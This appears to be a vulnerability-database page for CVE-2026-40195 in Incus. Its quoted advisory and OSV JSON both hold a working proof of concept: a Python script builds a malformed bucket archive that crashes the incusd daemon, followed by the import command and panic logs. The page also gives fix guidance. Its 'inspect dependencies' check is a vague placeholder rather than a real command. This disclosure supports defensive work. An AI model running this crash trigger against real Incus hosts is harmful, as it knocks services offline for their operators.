CVE-2026-40195: Github.com/lxc/incus/v6/cmd/incusd Incus Has A Nil-Pointer Dereference Vulnerability

HIGH
Advisory Identifier: GHSA-gc7j-g665-rxr9
CVSS 6.5
CWE-476
Published
Advisory Summary

CVE-2026-40195 is a HIGH (CVSS 6.5) incus has a nil-pointer dereference vulnerability (CWE-476: NULL Pointer Dereference) affecting Github.com/lxc/incus/v6/cmd/incusd libraries in the Go ecosystem. The issue involves incus has a nil-pointer dereference panic via bucket metadata. Remediation is available by upgrading affected packages to version 7.0.0.

CVE-2026-40195 at a Glance

CVE Identifier CVE-2026-40195
GHSA Identifier GHSA-gc7j-g665-rxr9
Severity HIGH
CVSS v3.1 Base Score 6.5
CWE Classification CWE-476: NULL Pointer Dereference
Affected Product Github.com/lxc/incus/v6/cmd/incusd
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 6.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity None (I:N)
Availability High (A:H)

How to Fix CVE-2026-40195

To remediate this vulnerability, upgrade all affected Github.com/lxc/incus/v6/cmd/incusd dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/lxc/incus/v6/cmd/incusd fixed: 7.0.0
Upgrade github.com/lxc/incus/v6/cmd/incusd to 7.0.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/lxc/incus/v6/cmd/incusd

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-40195, inspect your project dependencies for Github.com/lxc/incus/v6/cmd/incusd:

inspect dependencies for github.com/lxc/incus/v6/cmd/incusd

Analyze the terminal output to locate any version of Github.com/lxc/incus/v6/cmd/incusd in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 7.0.0), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-476: NULL Pointer Dereference, where the product dereferences a pointer that it expects to be valid but is null. In Github.com/lxc/incus/v6/cmd/incusd, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary Missing validation logic in the storage bucket import logic allows an authenticated user with access to Incus' storage bucket feature to cause the Incus daemon to crash. Repeated use of this issue can be used to keep Incus offline causing a denial of service. ### Details The storage bucket migration subsystem contains a nil-pointer dereference vulnerability that allows an authenticated attacker to crash the daemon during bucket import operations. The vulnerability is present in the backup metadata handling logic, where the daemon processes the index.yaml file from an imported archive and then accesses members of the parsed backup configuration without first verifying that the configuration object was initialized. In Go, dereferencing a nil pointer triggers a runtime panic. Because CreateBucketFromBackup assumes that srcBackup.Config is populated from the supplied archive, a malicious or malformed index.yaml that omits the config block causes the daemon to dereference a nil pointer and terminate. This results in denial of service on the affected node. Affected File: https://github.com/lxc/incus/blob/v6.22.0/internal/server/storage/backend.go Affected Code: ``` func (b *backend) CreateBucketFromBackup(srcBackup backup.Info, srcData io.ReadSeeker, op *operations.Operation) error { [...] bucketRequest := api.StorageBucketsPost{ Name: srcBackup.Name, StorageBucketPut: srcBackup.Config.Bucket.StorageBucketPut, } // Create the bucket to import. err = b.CreateBucket(srcBackup.Project, bucketRequest, op) if err != nil { return err } reverter.Add(func() { _ = b.DeleteBucket(srcBackup.Project, bucketRequest.Name, op) }) // Upload all keys from the backup. for _, bucketKey := range srcBackup.Config.BucketKeys { bucketKeyRequest := api.StorageBucketKeysPost{ Name: bucketKey.Name, StorageBucketKeyPut: bucketKey.StorageBucketKeyPut, } _, err := b.CreateBucketKey(srcBackup.Project, srcBackup.Name, bucketKeyRequest, op) if err != nil { return err } } // Upload all files from the backup. backupKey, err := b.getFirstAdminStorageBucketPoolKey(srcBackup.Project, srcBackup.Name) if err != nil { return err } [...] } ``` ### PoC The following PoC demonstrates that a malformed bucket backup archive with an index.yaml file that omits the config block can trigger a nil-pointer dereference and crash the incusd daemon during bucket import. Step 1: Create the malformed archive From a client or workstation with Python available, generate a minimal bucket backup archive whose index.yaml omits the config section. Commands: ``` cat <<EOF > poc_bucket_nil.py import tarfile import io index_content = b"name: dos-trigger\n" with tarfile.open("nil_panic.tar.gz", "w:gz") as tar: info = tarfile.TarInfo(name="backup/index.yaml") info.size = len(index_content) tar.addfile(info, io.BytesIO(index_content)) print("[+] Nil-Pointer PoC Tarball created: nil_panic.tar.gz") EOF python3 poc_bucket_nil.py ``` Result: ``` [+] Nil-Pointer PoC Tarball created: nil_panic.tar.gz ``` Step 2: Trigger the vulnerable bucket import path From an Incus client with permission to import storage buckets, import the crafted archive into any valid storage pool. Command: ``` incus storage bucket import local-pool nil_panic.tar.gz crash-test ``` Result: ``` Error: Operation not found ``` Step 3: Verify the daemon panic On the Incus host, inspect the service logs and confirm that the daemon terminated with a nil-pointer panic in the bucket import path. Command: ``` journalctl -u incus --since "3 minutes ago" | grep -A 15 "panic" ``` Result: ``` Mar 23 17:19:11 incus-7a incusd[237735]: panic: runtime error: invalid memory address or nil pointer dereference Mar 23 17:19:11 incus-7a incusd[237735]: [signal SIGSEGV: segmentation violation code=0x1 addr=0x60 pc=0x168a223] Mar 23 17:19:11 incus-7a incusd[237735]: goroutine 9635 [running]: Mar 23 17:19:11 incus-7a incusd[237735]: github.com/lxc/incus/v6/internal/server/storage.(*backend).CreateBucketFromBackup(0x254e0c0706c0, {{0x254e0cd77263, 0x9}, {0x254e0c408ce0, 0xa}, {0x0, 0x0}, {0x254e0c964c48, 0xa}, {0x0, ...}, ...}, ...) Mar 23 17:19:11 incus-7a incusd[237735]: /home/stgraber/Code/lxc/incus/internal/server/storage/backend.go:7754 +0x303 Mar 23 17:19:11 incus-7a incusd[237735]: main.createStoragePoolBucketFromBackup.func3(0x191ca65?) Mar 23 17:19:11 incus-7a incusd[237735]: /home/stgraber/Code/lxc/incus/cmd/incusd/storage_buckets.go:1467 +0x19c Mar 23 17:19:11 incus-7a incusd[237735]: github.com/lxc/incus/v6/internal/server/operations.(*Operation).Start.func1(0x254e0c333400) Mar 23 17:19:11 incus-7a incusd[237735]: /home/stgraber/Code/lxc/incus/internal/server/operations/operations.go:307 +0x26 Mar 23 17:19:11 incus-7a incusd[237735]: created by github.com/lxc/incus/v6/internal/server/operations.(*Operation).Start in goroutine 9576 Mar 23 17:19:11 incus-7a incusd[237735]: /home/stgraber/Code/lxc/incus/internal/server/operations/operations.go:306 +0x105 Mar 23 17:19:11 incus-7a systemd[1]: incus.service: Main process exited, code=exited, status=2/INVALIDARGUMENT Mar 23 17:19:11 incus-7a systemd[1]: incus.service: Failed with result 'exit-code'. Mar 23 17:19:11 incus-7a systemd[1]: incus.service: Unit process 159855 (qemu-system-x86) remains running after unit stopped. Mar 23 17:19:11 incus-7a systemd[1]: incus.service: Unit process 237808 (dnsmasq) remains running after unit stopped. Mar 23 17:19:11 incus-7a systemd[1]: incus.service: Unit process 237825 (dnsmasq) remains running after unit stopped. ``` It is recommended to validate that srcBackup.Config is not nil before attempting to access its members. If the required configuration metadata is missing from the archive, the function should return a structured error and abort the operation gracefully rather than allowing a runtime panic to crash the service. ### Credit This issue was discovered and reported by the team at 7asecurity (https://7asecurity.com/)

CVE-2026-40195 Affected Github.com/lxc/incus/v6/cmd/incusd Versions

1 component(s)
Fixed Versions:
7.0.0
Product / Package Ecosystem Affected Versions Fixed Version
github.com/lxc/incus/v6/cmd/incusd
Go
< 7.0.0
7.0.0

References

Frequently Asked Questions

What is CVE-2026-40195?
CVE-2026-40195 is a security vulnerability in Github.com/lxc/incus/v6/cmd/incusd involving Incus has a Nil-Pointer Dereference Panic via Bucket Metadata under CWE-476: NULL Pointer Dereference.
Which Github.com/lxc/incus/v6/cmd/incusd versions are affected?
Affected versions include releases prior to 7.0.0 across affected packages: github.com/lxc/incus/v6/cmd/incusd.
What version fixes CVE-2026-40195?
Upgrading to 7.0.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/lxc/incus/v6/cmd/incusd affected?
Yes, github.com/lxc/incus/v6/cmd/incusd is affected in releases prior to 7.0.0. Upgrade your dependency to 7.0.0 or later.
What is the CVSS score of CVE-2026-40195?
CVE-2026-40195 has a CVSS v3.1 base score of 6.5 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H.
What CWE is associated with CVE-2026-40195?
CVE-2026-40195 is classified under CWE-476: NULL Pointer Dereference (The product dereferences a pointer that it expects to be valid but is NULL.).
How can I check Go dependencies for CVE-2026-40195?
Run the dependency tree command: 'inspect dependencies for github.com/lxc/incus/v6/cmd/incusd'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-gc7j-g665-rxr9",
  "modified" : "2026-05-08T19:26:20Z",
  "published" : "2026-05-04T17:40:00Z",
  "aliases" : [ "CVE-2026-40195" ],
  "summary" : "Incus has a Nil-Pointer Dereference Panic via Bucket Metadata",
  "details" : "### Summary\nMissing validation logic in the storage bucket import logic allows an authenticated user with access to Incus' storage bucket feature to cause the Incus daemon to crash. Repeated use of this issue can be used to keep Incus offline causing a denial of service.\n\n### Details\nThe storage bucket migration subsystem contains a nil-pointer dereference vulnerability that allows an authenticated attacker to crash the daemon during bucket import operations. The vulnerability is present in the backup metadata handling logic, where the daemon processes the index.yaml file from an imported archive and then accesses members of the parsed backup configuration without first verifying that the configuration object was initialized.\n\nIn Go, dereferencing a nil pointer triggers a runtime panic. Because CreateBucketFromBackup assumes that srcBackup.Config is populated from the supplied archive, a malicious or malformed index.yaml that omits the config block causes the daemon to dereference a nil pointer and terminate. This results in denial of service on the affected node.\n\nAffected File:\nhttps://github.com/lxc/incus/blob/v6.22.0/internal/server/storage/backend.go \n\nAffected Code:\n```\nfunc (b *backend) CreateBucketFromBackup(srcBackup backup.Info, srcData io.ReadSeeker, op *operations.Operation) error {\n    [...]\n    bucketRequest := api.StorageBucketsPost{\n        Name:             srcBackup.Name,\n        StorageBucketPut: srcBackup.Config.Bucket.StorageBucketPut,\n    }\n\n    // Create the bucket to import.\n    err = b.CreateBucket(srcBackup.Project, bucketRequest, op)\n    if err != nil {\n        return err\n    }\n\n    reverter.Add(func() { _ = b.DeleteBucket(srcBackup.Project, bucketRequest.Name, op) })\n\n    // Upload all keys from the backup.\n    for _, bucketKey := range srcBackup.Config.BucketKeys {\n        bucketKeyRequest := api.StorageBucketKeysPost{\n            Name:                bucketKey.Name,\n            StorageBucketKeyPut: bucketKey.StorageBucketKeyPut,\n        }\n\n        _, err := b.CreateBucketKey(srcBackup.Project, srcBackup.Name, bucketKeyRequest, op)\n        if err != nil {\n            return err\n        }\n    }\n\n    // Upload all files from the backup.\n    backupKey, err := b.getFirstAdminStorageBucketPoolKey(srcBackup.Project, srcBackup.Name)\n    if err != nil {\n        return err\n    }\n\n    [...]\n}\n```\n\n### PoC\nThe following PoC demonstrates that a malformed bucket backup archive with an index.yaml file that omits the config block can trigger a nil-pointer dereference and crash the incusd daemon during bucket import.\n\nStep 1: Create the malformed archive\n\nFrom a client or workstation with Python available, generate a minimal bucket backup archive whose index.yaml omits the config section.\n\nCommands:\n```\ncat <<EOF > poc_bucket_nil.py\nimport tarfile\nimport io\n\nindex_content = b\"name: dos-trigger\\n\"\n\nwith tarfile.open(\"nil_panic.tar.gz\", \"w:gz\") as tar:\n    info = tarfile.TarInfo(name=\"backup/index.yaml\")\n    info.size = len(index_content)\n    tar.addfile(info, io.BytesIO(index_content))\n\nprint(\"[+] Nil-Pointer PoC Tarball created: nil_panic.tar.gz\")\nEOF\n\npython3 poc_bucket_nil.py\n```\n\nResult:\n```\n[+] Nil-Pointer PoC Tarball created: nil_panic.tar.gz\n```\n\nStep 2: Trigger the vulnerable bucket import path\n\nFrom an Incus client with permission to import storage buckets, import the crafted archive into any valid storage pool.\n\nCommand:\n```\nincus storage bucket import local-pool nil_panic.tar.gz crash-test\n```\n\nResult:\n```\nError: Operation not found\n```\n\nStep 3: Verify the daemon panic\n\nOn the Incus host, inspect the service logs and confirm that the daemon terminated with a nil-pointer panic in the bucket import path.\n\nCommand:\n```\njournalctl -u incus --since \"3 minutes ago\" | grep -A 15 \"panic\"\n```\n\nResult:\n```\nMar 23 17:19:11 incus-7a incusd[237735]: panic: runtime error: invalid memory address or nil pointer dereference\nMar 23 17:19:11 incus-7a incusd[237735]: [signal SIGSEGV: segmentation violation code=0x1 addr=0x60 pc=0x168a223]\nMar 23 17:19:11 incus-7a incusd[237735]: goroutine 9635 [running]:\nMar 23 17:19:11 incus-7a incusd[237735]: github.com/lxc/incus/v6/internal/server/storage.(*backend).CreateBucketFromBackup(0x254e0c0706c0, {{0x254e0cd77263, 0x9}, {0x254e0c408ce0, 0xa}, {0x0, 0x0}, {0x254e0c964c48, 0xa}, {0x0, ...}, ...}, ...)\nMar 23 17:19:11 incus-7a incusd[237735]:         /home/stgraber/Code/lxc/incus/internal/server/storage/backend.go:7754 +0x303\nMar 23 17:19:11 incus-7a incusd[237735]: main.createStoragePoolBucketFromBackup.func3(0x191ca65?)\nMar 23 17:19:11 incus-7a incusd[237735]:         /home/stgraber/Code/lxc/incus/cmd/incusd/storage_buckets.go:1467 +0x19c\nMar 23 17:19:11 incus-7a incusd[237735]: github.com/lxc/incus/v6/internal/server/operations.(*Operation).Start.func1(0x254e0c333400)\nMar 23 17:19:11 incus-7a incusd[237735]:         /home/stgraber/Code/lxc/incus/internal/server/operations/operations.go:307 +0x26\nMar 23 17:19:11 incus-7a incusd[237735]: created by github.com/lxc/incus/v6/internal/server/operations.(*Operation).Start in goroutine 9576\nMar 23 17:19:11 incus-7a incusd[237735]:         /home/stgraber/Code/lxc/incus/internal/server/operations/operations.go:306 +0x105\nMar 23 17:19:11 incus-7a systemd[1]: incus.service: Main process exited, code=exited, status=2/INVALIDARGUMENT\nMar 23 17:19:11 incus-7a systemd[1]: incus.service: Failed with result 'exit-code'.\nMar 23 17:19:11 incus-7a systemd[1]: incus.service: Unit process 159855 (qemu-system-x86) remains running after unit stopped.\nMar 23 17:19:11 incus-7a systemd[1]: incus.service: Unit process 237808 (dnsmasq) remains running after unit stopped.\nMar 23 17:19:11 incus-7a systemd[1]: incus.service: Unit process 237825 (dnsmasq) remains running after unit stopped.\n```\n\nIt is recommended to validate that srcBackup.Config is not nil before attempting to access its members. If the required configuration metadata is missing from the archive, the function should return a structured error and abort the operation gracefully rather than allowing a runtime panic to crash the service.\n\n### Credit\nThis issue was discovered and reported by the team at 7asecurity (https://7asecurity.com/)",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H"
  }, {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/lxc/incus/v6/cmd/incusd"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "7.0.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/lxc/incus/security/advisories/GHSA-gc7j-g665-rxr9"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-40195"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/lxc/incus"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-476" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-04T17:40:00Z",
    "nvd_published_at" : "2026-05-06T21:16:00Z"
  }
}